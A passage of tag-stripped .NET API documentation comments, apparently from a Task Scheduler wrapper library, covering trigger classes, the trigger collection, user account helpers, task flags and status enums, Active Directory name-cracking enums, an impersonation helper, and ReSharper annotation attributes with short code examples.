to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the 